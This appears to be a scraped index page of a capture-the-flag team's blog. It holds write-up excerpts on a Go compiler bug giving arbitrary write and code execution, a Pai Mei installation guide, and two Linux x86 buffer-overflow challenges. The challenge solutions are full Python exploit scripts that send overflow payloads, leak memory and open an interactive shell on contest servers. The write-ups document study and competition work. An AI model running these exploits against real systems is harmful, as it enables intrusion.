Gitzino was the 400-point crypto problem for Ghost in the Shellcode 2014. It looked like a standard “predict-the-RNG” problem: there’s a PRNG, a card game, and hopefully the output it gives you provides enough data about the internal state of the PRNG to predict the future and win the game repeatedly.
Continue Reading →
tl;dr — fuzzy
is a “super secure parsing engine”, that includes a histogram function. The histogram ascii text uses a buffer on the stack, but will increment
buckets past the end of the buffer if non ascii text is provided, allowing us to
rop.
Introduction Earlier this year, tylerni7 showed us a proof of concept for a 32 bit Go exploit using this issue. geohot and I had a wager over who could get the first remote code execution on play.golang.org: he won, but just barely ;-). Props also to ricky for helping to find the underlying cause/writing the patch. Here is a summary of how we did it. Note: play.golang.org is properly sandboxed, so code execution there does not actually let you do anything. Had this been a more serious bug that could actually be used for anything malicious, we would have reported it and not used it as a CTF problem. This post is cross posted on my personal blog, original post there. The Bug Go has support for embedded structs. You can define an embedded struct as follows:
1
2
3
4
5
6
7
8
9
10
type Embedded struct {
foo int
}
type Struct struct {
Embedded
bar int
}
var instance Struct
instance.bar
and instance.foo
.
The problem comes when you try something slightly trickier:
1
2
3
4
5
6
7
8
9
10
type Embedded struct {
foo int
}
type Struct struct {
*Embedded
bar int
}
var instance Struct
instance.foo
(a member of an uninitialized struct), it incorrectly offsets from 0 rather than the base of an Embedded
struct. Normally, when dereferencing a pointer inside a struct, the go compiler emits guard code which will cause a segfault if the pointer is nil. However, this code is not emitted when the pointer is the first element of the struct, since it’s assumed that this will cause a segfault whenever it is used anyway. This assumption is not always valid, as the pointer can be to a large struct such that the offsets of members of the large struct are valid addresses.
The Vulnerability
We define an enormous struct and use it to offset memory:
1
2
3
4
5
6
7
8
9
10
type Embedded struct {
offset [0x400100]byte
address uint32
}
type Struct struct {
*Embedded
bar int
}
var instance Struct
instance.address = 0xdeadbeef
and we have written to 0x400100
! This is the arbitrary write primitive we need.
The Exploit
Once you have an arbitrary write in go, it is really easy to get arbitrary code execution. We put a function pointer in our data segment (we wanted to put it in the heap, but that didn’t work on 64bit Go — apparently the size of a struct is limited to 32 bits. Luckily, the data segment is in the lower 32 bits) and change it to point to our shell code using the arbitrary write. Since Go has no randomization at all, this is as simple as running the program twice. Full exploit below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package main
import "fmt"
// Address to write, computed from a previous run.
const addr_to_overwrite = 0x50e2f0
// &shellcode, computed from a previous run.
const val_to_overwrite uint64 = 0xc200035160
type Embedded struct {
offset [addr_to_overwrite]byte
payload uint64
}
type Nested struct {
// This magic is necessary is because there is an explict null check if
// if the offset is greater than 0x1000.
Embedded
}
type Struct struct {
// The issue is that a reference to the embeded struct pointer here
// will be offset from null (rather than the true base of a Nested struct).
// We thus just make sizeof(the embedded struct) large enough to point
// to the address we want to overwrite.
//
// See https://code.google.com/p/go/issues/detail?id=5336
*Nested
}
var unused = func () {}
func main() {
s := &Struct{}
shellcode := "\x90\x90\x90\x90\x90\x90\x90\xeb\xfe"
fmt.Println("You should overwrite this: ", &unused)
fmt.Println("With this: ", &shellcode)
fmt.Println("***********************************************");
fmt.Println("Overwriting ", &s.payload, " with ", val_to_overwrite)
*(&s.payload) = val_to_overwrite;
unused();
}}
The recent Positive Hack Days qualifier round had a lot of fun problems. Binary 300 was the only problem that was solved in the competition but not solved by PPP. It was also a very nice crypto problem which was a lot of fun. We ended up having a brute forcer finish the challenge a couple hours too late, which got me interested in seeing how fast a brute forcer could go, if we had more time to write it.
Continue Reading →
tl;dr
Pai Mei is an open source windows reverse engineering framework. At one point, it was ported to Mac OSX but the project is not very actively maintained and the current instructions are quite lacking. This post hopes to offer some guidance and reduce some of the frustration involved in installing Pai Mei on Mac OSX.
Getting the libraries
The most difficult thing was finding how to get all the packages working. First and foremost, Pai Mei was designed for a 32 bit windows libary so some trickery is required to get it to work in 64 bit mode (which is necessary, because I could not get the latest wxPython
from Homebrew to work in 32 bit mode). I did not realize at first that there was a way to use Pai Mei in 64 bit mode, so I spent a long time attempting to find universal binaries for wxPython and MySql.
Pai Mei depends on a number of packages:
mysql-python
: I installed via pip install mysql-python
.pydasm
: I installed via pip install pydasm
.ctypes
: I believe is included by default in Python 2.5 and higher.MySql
: I installed via brew install mysql --universal
to have a universal binary (downloading from the MySql homepage means you will get a single architecture binary).wxPython
: I installed via brew install wxmac --universal
and then manually symlinked it into correct location:
1
2
# ln -s /usr/local/Cellar/wxmac/2.9.4.0/lib/python2.7/site-packages/wx /Library/Python/2.7/site-packages/wx
# ln -s /usr/local/Cellar/wxmac/2.9.4.0/lib/python2.7/site-packages/wxPython-2.9.4.0-py2.7.egg-info /Library/Python/2.7/site-packages/wxPython-2.9.4.0-py2.7.egg-info
wxPython
to work in 32 bit python. I’ll update the post when I figure that out.</li> </ul>
Installing Pai Mei
Pai Mei uses the pydbg library (I believe it is linked incorrectly in the repository as a git submodule). I strongly encourage you this version of pydbg instead, which is a port to 64 Mac OSX by Charlie Miller and fG. Cloning the repository and installing via instructions in the MacOSX/README
worked fine for me. Warning: you can only use this library to debug a 32 bit process from 32 bit python and a 64 bit process from 64 bit python: to use 32 bit python, do:
1
VERSIONER_PYTHON_PREFER_32_BIT=yes /usr/bin/python
pydbg64
, I now had a directory tree that looked like:
1
2
3
4
5
6
7
8
9
pydbg64/
├── pydbg
└── ...
paimei/
├── pgraph
├── pida
├── pydbg
├── utils
└── ...
paimei/pydbg
directory and added a symlink to the pydbg64/pydbg
directory, then copied the fat libmacdll.dylib
from pydbg64/pydbg/libmacdll.dylib
to paimei/utils
. This left a directory that looked like this:
1
2
3
4
5
6
7
8
9
10
11
pydbg64/
├── pydbg
└── ...
paimei/
├── pgraph
├── pida
├── pydbg -> ../pydbg64/pydbg
├── utils
│ ├── libmacdll.dylib
│ └── ...
└── ...
utils
, pida
, pgraph
) into the correct place so python can find them.
1
2
3
# ln -s /usr/local/paimei/pida /Library/Python/2.7/site-packages/pida
# ln -s /usr/local/paimei/pgraph /Library/Python/2.7/site-packages/pgraph
# ln -s /usr/local/paimei/utils /Library/Python/2.7/site-packages/utils
1
$ python /usr/local/paimei/__setup_mysql.py localhost root rootpassword
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
diff --git a/console/PAIMEIconsole.pyw b/console/PAIMEIconsole.pyw
index a45cbbf..0fea2ae 100644
--- a/console/PAIMEIconsole.pyw
+++ b/console/PAIMEIconsole.pyw
@@ -82,7 +82,7 @@ class PAIMEIapp (wx.App):
'''
def OnInit (self):
- wx.InitAllImageHandlers()
+# wx.InitAllImageHandlers()
splash = PAIMEIsplash()
splash.Show()
diff --git a/console/support/mysql_connect_dialog.py b/console/support/mysql_connect
index 2201521..b641e37 100644
--- a/console/support/mysql_connect_dialog.py
+++ b/console/support/mysql_connect_dialog.py
@@ -104,7 +104,7 @@ class mysql_connect_dialog(wx.Dialog):
self.parent.mysql_password = password
self.mysql_connect(host, username, password)
- self.Destroy()
+# self.Destroy()
def mysql_connect (self, host, username, password):
try:
diff --git a/utils/process_stalker.py b/utils/process_stalker.py
index 987eec9..32206e4 100644
--- a/utils/process_stalker.py
+++ b/utils/process_stalker.py
@@ -281,11 +283,15 @@ class process_stalker:
continue
basic_blocks.append(bb.ea_start)
if last_dll: self.log("Setting %d breakpoints on basic blocks in %s
else: self.log("Setting %d breakpoints on basic blocks in ma
- self.pydbg.bp_set(basic_blocks, restore=self.restore)
+ for block in basic_blocks:
+ self.pydbg.bp_set(block, restore=self.restore)
1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/console/modules/_PAIMEIpstalker/ProcessListCtrl.py b/console/modules/_PAIMEIpstalker/ProcessListCtrl.py
index b37bd01..63880e3 100644
--- a/console/modules/_PAIMEIpstalker/ProcessListCtrl.py
+++ b/console/modules/_PAIMEIpstalker/ProcessListCtrl.py
@@ -166,7 +166,7 @@ class ProcessListCtrl (wx.ListCtrl, ListCtrlAutoWidthMixin, ColumnSorterMixin):
heavy = self.top.heavy.GetValue(), \
ignore_first_chance = self.top.ignore_first_chance.GetValue(), \
log = self.top.msg, \
- main = main, \
+ main = self.top.pida_modules.keys()[0], \
mysql = self.top.main_frame.mysql, \
pida_modules = self.top.pida_modules, \
pydbg = dbg, \
Overview
Continue Reading →
Overview
challenge1 is an Linux x86 binary that has a buffer overflow. Using information disclosed from another problem, we can use libc gadget to jump to our shellcode.
Writeup
After reversing through the standard network / privilege dropping code, we find an interesting function q_generate
that has a buffer overflow. Here we take advantage of having a shell on the box (via exp400) to get some useful information: we get a copy of libc to search for gadgets and the base offset where libc is loaded.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ cat /proc/self/maps
08048000-08053000 r-xp 00000000 08:01 786434 /bin/cat
08053000-08054000 r-xp 0000a000 08:01 786434 /bin/cat
08054000-08055000 rwxp 0000b000 08:01 786434 /bin/cat
08055000-08076000 rwxp 00000000 00:00 0 [heap]
b7e31000-b7e32000 rwxp 00000000 00:00 0
b7e32000-b7fd1000 r-xp 00000000 08:01 1572883 /lib/i386-linux-gnu/libc-2.15.so
b7fd1000-b7fd3000 r-xp 0019f000 08:01 1572883 /lib/i386-linux-gnu/libc-2.15.so
b7fd3000-b7fd4000 rwxp 001a1000 08:01 1572883 /lib/i386-linux-gnu/libc-2.15.so
b7fd4000-b7fd7000 rwxp 00000000 00:00 0
b7fdb000-b7fdd000 rwxp 00000000 00:00 0
b7fdd000-b7fde000 r-xp 00000000 00:00 0 [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 1572880 /lib/i386-linux-gnu/ld-2.15.so
b7ffe000-b7fff000 r-xp 0001f000 08:01 1572880 /lib/i386-linux-gnu/ld-2.15.so
b7fff000-b8000000 rwxp 00020000 08:01 1572880 /lib/i386-linux-gnu/ld-2.15.so
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
jmp esp
gadget from libc to jump to our shellcode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python
import struct
import socket
import telnetlib
import sys
import string
shellcode = ""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# s.connect(('127.0.0.1', 12345))
s.connect(('128.238.66.213', 12345))
f = s.makefile('rw', bufsize=0)
libc_offset = 0xb7e32000
jmp_esp = 0x0014853F + libc_offset
first_part = "D"*124
second_part = "A"*int(0x38) + "BBBB" + struct.pack("I", jmp_esp) + shellcode
payload = first_part + second_part + "\n"
f.write(payload)
t = telnetlib.Telnet()
t.sock = s
t.interact()
Overview
Continue Reading →
Overview
聊天 is an Linux x86 binary that uses signal handlers to print a bunch of Chinese before overflowing a buffer. With a send gadget giving us an arbitrary read, we can find a jmp esp
in libc and jump to our shellcode on the (executable) stack.
Writeup
We reverse the binary, and see that main forks, drops privileges, and then raises signals until eventually the function below is called.
We have a buffer overflow and hence control of eip
, but unfortunately nothing else. Luckily, there is a call to send
elsewhere in the code (that also loads the correct fd
, etc for us).
This works for us, since edx = 0x800
at the return of our vulnerable function. We thus have a way to read 0x800
bytes from an arbitrary memory address
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python
import struct
import socket
import telnetlib
import sys
import string
def read_mem(addr):
print "Sleeping before reading %x" % addr
time.sleep(.5)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('128.238.66.218', 4842))
# s.connect(('127.0.0.1', 4842))
f = s.makefile('rw', bufsize=0)
send_buf = 0x804890e
payload = (
"A"*326 +
struct.pack('I', send_buf) +
"AAAA"*11 +
struct.pack('I', addr) +
"BBBB"
)
f.write(payload)
x = f.read(116)
f.flush()
buf = f.read(0x800)
f.close()
return buf
jmp esp
gadget, then use that to return to our shellcode (jmp esp
works since we know that NX is disabled). Here is the solution:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python
import struct
import socket
import telnetlib
import sys
import string
def find_jmp_esp():
gots = read_mem(0x804B000) # The offset of the got entries.
setsockopt = struct.unpack('I', gots[:4])[0]
libc_guess = setsockopt - 0xEC6D0 # Where setsockopt is located on my ubuntu machine.
buf_base = libc_guess - (libc_guess % 0x1000)
buf = read_mem(buf_base)
while buf:
jmp_esp = buf.find("\xff\xe4") # jmp esp
if jmp_esp != -1:
return buf_base + jmp_esp
else:
buf_base += len(buf)
buf = read_mem(buf_base)
return 0
def solve(jmp_esp):
payload = (
"A"*326 +
struct.pack('I', jmp_esp)+
shellcode
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('128.238.66.218', 4842))
# s.connect(('127.0.0.1', 4842))
f = s.makefile('rw', bufsize=0)
f.write(payload)
t = telnetlib.Telnet()
t.sock = s
t.interact()
jmp_esp = find_jmp_esp()
print "Found jmp_esp at %x" % jmp_esp
solve(jmp_esp)
Overview
Continue Reading →